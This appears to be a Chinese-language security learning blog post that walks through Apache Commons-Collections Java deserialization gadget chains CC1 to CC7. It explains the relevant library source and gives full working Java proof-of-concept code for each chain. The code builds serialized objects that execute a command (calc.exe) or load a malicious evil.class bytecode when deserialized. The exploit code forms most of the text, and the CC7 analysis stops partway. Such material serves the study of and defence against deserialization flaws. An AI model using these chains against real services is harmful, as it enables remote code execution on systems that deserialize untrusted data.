Java反序列化链二周目
前言
最近缺席是学不进去,有点迷茫,不知道该怎么去学,是选择几个源码做一下代码审计还是继续深入研究java呢?也可能和我最近身体状态不好有关吧,只能选择二刷/三刷前面的反序列化链,学了反序列化链也有一段时间了,这次来好好整理一下
CC1
主要用到ConstantTransformer,InvokerTransformer,ChainedTransformer这几个类。ConstantTransformer类实现了Transformer接口,其transform方法作用是获取一个对象类型
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
InvokerTransformer类实现了Transformer和Serializable接口,重写了transform方法,他的transform方法是用反射调用指定的方法并且进行返回他的结果,
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
ChainedTransformer也是实现了Transformer和Serializable接口,其transform循环调用了transformers数组里的所有transform方法,把上一个transfromer的transform方法的结果返回作为下一个transfromer的transform方法的参数,我们可以用这三个来写一个小demo弹出计算器。
demo如下
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Test {
public static void main(String[] args) {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
chainedTransformer.transform("ch1e");
}
}
目前还是手动去调用chainedTransformer的transform方法,我们需要找到自动调用,即从readObject方法开始就可以自动调用到chainedTransformer的transform方法。
TransformedMap
TransformedMap这条链的调用顺序如下,从AnnotationInvocationHandler的readObject方法开始看
最后调用了v5.setValue,但是v5是通过var4.next获取的,v4是通过this.memberValues.entrySet().iterator()获取的,所以v5就是this.memberValues.entrySet().iterator().next()获取,只要让this.memberValues是TransformedMap对象即可,所以我们只需要反射调用获取一个AnnotationInvocationHandler类即可,demo如下,这里还有个小坑,hashedMap.put("value","ch1e");
这一步的value位置不能换,因为在AnnotationInvocationHandler中有这么一个判断,memberType != null,memberType 是通过memberTypes.get(name)获取,此时只有一个键值对的键名是value,所以我们让他不为空需要把键名设置为value
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashedMap hashedMap = new HashedMap();
hashedMap.put("value","ch1e");
Map transformedMap= TransformedMap.decorate(hashedMap,null,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = clazz.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object o = con.newInstance(Retention.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
LazyMap
LazyMap这条链可以用到动态代理,LazyMap的get方法如下,调用了this.factory.transform
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
寻找调用get方法的地方,在AnnotationInvocationHandler的invoke方法中,满足方法名不是equals,toString,hashCode,annotationType,并且方法要没有参数,其实在AnnotationInvocationHandler类的readObject中刚好调用到了memberValues.entrySet(),我们只需要把memberValues作为我们动态代理的类,调用他的entrySet方法自动去调用AnnotationInvocationHandler的invoke方法。
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
所以我们只需要动态代理一个类,然后把他作为memberValues,即可完成反序列化攻击
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Map;
public class LazyMapTest {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashedMap hashedMap = new HashedMap();
hashedMap.put("value","ch1e");
LazyMap decorate = (LazyMap) LazyMap.decorate(hashedMap, chainedTransformer);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Retention.class, decorate);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
Object object=declaredConstructor.newInstance(Retention.class,mapProxy);
serialize(object);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
两条链在poc上的区别就是LazyMap这条只是把第一条里面transformedMap换成了代理类
CC2
版本限制:Commons-Collections 4.0
pom.xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
调用链如下
TransformingComparator类构造方法publice,调用了自身的transformer的transform方法
在PriorityQueue类的siftDownUsingComparator调用了自身的comparator的compare方法,只需要让这里的comparator为TransformingComparator类,并且TransformingComparator类的transformer为ChainedTransformer类即可
Demo如下:
package cc2;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.PriorityQueue;
public class Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
PriorityQueue<Object> queue = new PriorityQueue<>(111,transformingComparator);
queue.add(123);
queue.add(456);
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
但是还是之前那个问题,在序列化的时候触发了。在add的时候,触发了siftUpUsingComparator方法。所以我们要先设置一个假的transformer,然后在添加完元素以后再重新设置成真的
package cc2;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test {
public static void main(String[] args) throws Exception{
Transformer[] faketransformer=new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(faketransformer);
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
PriorityQueue<Object> queue = new PriorityQueue<>(111,transformingComparator);
queue.add(123);
queue.add(456);
Class clazz=ChainedTransformer.class;
Field iTransformers = clazz.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);
// serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
CC3
一般情况下,defineClass的作用域一般是不开放的,但是这里就刚好遇到了一个TemplatesImpl,TemplatesImpl位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,他定义了一个内部类TransletClassLoader,TransletClassLoader的defineClass方法如下,这个内部类重写了defineClass方法,并且是缺省类型,同包下可以访问,就可以被外部调用,我们可以通过他去加载字节码
所以我们只需要反射获取一个TemplatesImpl的类,然后设置_class为null,_tfactory为一个TransformerFactoryImpl类,_bytecodes为恶意类的字节码,并且恶意类需要继承自AbstractTranslet,否则会报错
package cc3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class clazz=templates.getClass();
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"ch1e");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] bytes= Files.readAllBytes(Paths.get("D:\\evil.class"));
byte[][] codes={bytes};
bytecodes.set(templates,codes);
Field tfactory = clazz.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
但是这样还是是手动触发,我们需要让他自动触发,有两个方法,一个就是用cc1链的后半部分来触发,只需要改成如下即可
package cc3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class clazz=templates.getClass();
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"ch1e");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] bytes= Files.readAllBytes(Paths.get("D:\\evil.class"));
byte[][] codes={bytes};
bytecodes.set(templates,codes);
Field tfactory = clazz.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
hashMap.put("value","key");
Map outerMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler=(InvocationHandler) constructor.newInstance(Retention.class,outerMap);
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);
Object o = constructor.newInstance(Retention.class, proxyMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
但是在ysoserial里面,是通过TrAXFilter类去实现,构造函数调用了自身templates的newTransformer()方法
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
我们只需要把上面之前的templates传入即可。但是问题来了,TrAXFilter对象并没有实现Serializable 接口,所以其他地方入手。除了TrAXFilter类以外,还用到InstantiateTransformer这个类,构造方法如下
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
transform方法如下
我们需要传入一个Class和Object数组,他会把传入的参数作为input的构造函数的参数传入,相当于他调用了构造函数,所以我们这里只需要通过transform去创建一个TrAXFilter类即可
package cc3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class clazz=templates.getClass();
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"ch1e");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] bytes= Files.readAllBytes(Paths.get("D:\\evil.class"));
byte[][] codes={bytes};
bytecodes.set(templates,codes);
Field tfactory = clazz.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}
CC4
不同于CC2的是使用InstantiateTransformer替换了InvokerTransformer,InstantiateTransformer在上面的cc3也遇到过,,他的transform方法实现了一个反射调用构造函数初始化一个类的功能
final Constructor<? extends T> con = input.getConstructor(iParamTypes);
return con.newInstance(iArgs);
demo如下
package cc4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class clazz=templates.getClass();
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"ch1e");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] bytes= Files.readAllBytes(Paths.get("D:\\evil.class"));
byte[][] codes={bytes};
bytecodes.set(templates,codes);
Field tfactory = clazz.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer,
};
Transformer[] faketransformer=new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer chainedTransformer=new ChainedTransformer(faketransformer);
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
PriorityQueue<Object> queue = new PriorityQueue<>(111,transformingComparator);
queue.add(123);
queue.add(456);
Class c=ChainedTransformer.class;
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
CC2和CC4的区别不同就在于链子末尾不同,起点都是一样的。所以我们只要把之前的InvokerTransformer那部分用InstantiateTransformer替换即可
CC5
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
lazymap.get后面的都很熟,看BadAttributeValueExpException.readObject()和TiedMapEntry.toString()
在BadAttributeValueExpException的readObject中调用了toString,valObj是获取val属性的值,为了下一步执行到TiedMapEntry.toString,所以valObj要是TiedMapEntry对象
TiedMapEntry.toString调用了自身的getValue方法,getValue调用了自身map属性的get方法,所以我们需要满足TiedMapEntry的map属性是LazyMap类的对象,这里的话应该是要jdk1.8.我jdk1.7不行
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception{
org.apache.commons.collections.Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"1");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Class c=BadAttributeValueExpException.class;
Field valField = c.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
CC6
主要调用链如下
HashMap.readObject()->HashMap.hash()->TiedMapEntry.hashcode()->TiedMapEntry.getValue()->LazyMap.get()
有两点要注意,第一点是HashMap的put方法也调用了hash,所以我们要通过反射来修改tiedMapEntry的值,我们先放入一个假的Transformer,然后后面通过反射把真的替换上去,第二点是需要lazyMap.remove("ch1e");
不然没法触发
package cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashedMap hashedMap = new HashedMap();
hashedMap.put("value","ch1e");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashedMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"ch1e");
HashMap hashMap1 = new HashMap();
hashMap1.put(tiedMapEntry,"boycc1");
lazyMap.remove("ch1e");
Class clazz=LazyMap.class;
Field factory = clazz.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
serialize(hashMap1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
CC7
CC7比较有意思,可以仔细看看
后面的部分其实还是差不多,调用lazymap的get方法,主要是前面的内容,我们可以首先来看一下Hashtable的序列化的过程,就是看他人writeObject方法
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
Entry<Object, Object> entryStack = null;
synchronized (this) {
// Write out the length, threshold, loadfactor
s.defaultWriteObject();
// Write out length, count of elements
s.writeInt(table.length);
s.writeInt(count);
// Stack copies of the entries in the table
for (int index = 0; index < table.length; index++) {
Entry<?,?> entry = table[index];
while (entry != null) {
entryStack =
new Entry<>(0, entry.key, entry.value, entryStack);
entry = entry.next;
}
}
}
// Write out the key/value objects from the stacked entries
while (entryStack != null) {
s.writeObject(entryStack.key);
s.writeObject(entryStack.value);
entryStack = entryStack.next;
}
}
这里的话他进行序列化,首先写入了table的长度以及table的元素个数,然后取出table中的元素,放入entryStack,这里其实就是栈,然后把栈里面的每个元素用writeObject写入。
我们再来看一下他的反序列化的流程
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
首先先读取了table数组的容量和元素个数,然后根据origlength和elements算出table的长度,后面就根据length创建table数组,反序列化的时候依次读取每个key和value,用reconstitutionPut方法放入table数组,接下来来看reconstitutionPut方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
首先判断value是否为空,为空抛出异常,然后重写计算了hash和下标,并且判断是否有元素重复,如果不重复的话,会把元素转换成Entry然后放到tab数组里,这里主要是在e.key.equals(key)触发,但是走到这需要两个元素,因为只他要进行比较,一个元素没法进行比较,并且这俩元素的hash也要相同e.key.equals(key)这个函数其实调用了LazyMap的equals,但是LazyMap本身是没有equals这个方法,这个方法来源于他继承的抽象类AbstractMapDecorator
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
首先先判断了一下是否是同一对象,然后去调用map.equals(object)方法,这里的map其实就是LazyMap通过decorate把HashMap传给了他,所以这里其实是调用了HashMap的equals方法,但是HashMap继承了AbstractMap抽象类,这个抽象类中有equals方法
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
他首先在第一个if判断了是否是同一对象,在第二个if判断运行类型是否不是Map,然后强制转换成Map,然后还得判断Map中元素的个数,然后就是使用迭代器遍历每个元素,获取到每个key和value,如果value不是null,会调用m.get(key),这里m的本质上是LazyMap,所以就成功调用到了LazyMap的get方法啊。
但是有意思的一点是,在ysoserial中最后调用了lazyMap2.remove(“yy”);这是为什么呢?其实和前面几条链类似,在使用hashtable.put(lazyMap2,2)的时候,lazyMap2会调用AbstractMap抽象类的equals方法,equals内部会调用lazyMap2的get方法判断table中元素key在lazyMap2是否存在,如果不存在会put进去。
在反序列化的时候AbstractMap抽象类的equals会在第三个if判断中会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞
除此之外,要触发这条链,还有一个条件就是构造利用链的时候必须添加两个hash一样的元素,下面来分析一下吧。
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}
// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}
addEntry(hash, key, value, index);
return null;
}
他这要满足entry.hash == hash,hash是通过key.hashcode来赋值的,我们传入的key是一个LazyMap,所以得去找LazyMap的hashcode方法,他本身是没有hashcode方法,但是他继承了AbstractMap类,所以会调用AbstractMap类的hashcode方法。
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}
他这里又通过遍历去调用元素的hashcode方法,其实是Node节点的hashCode方法
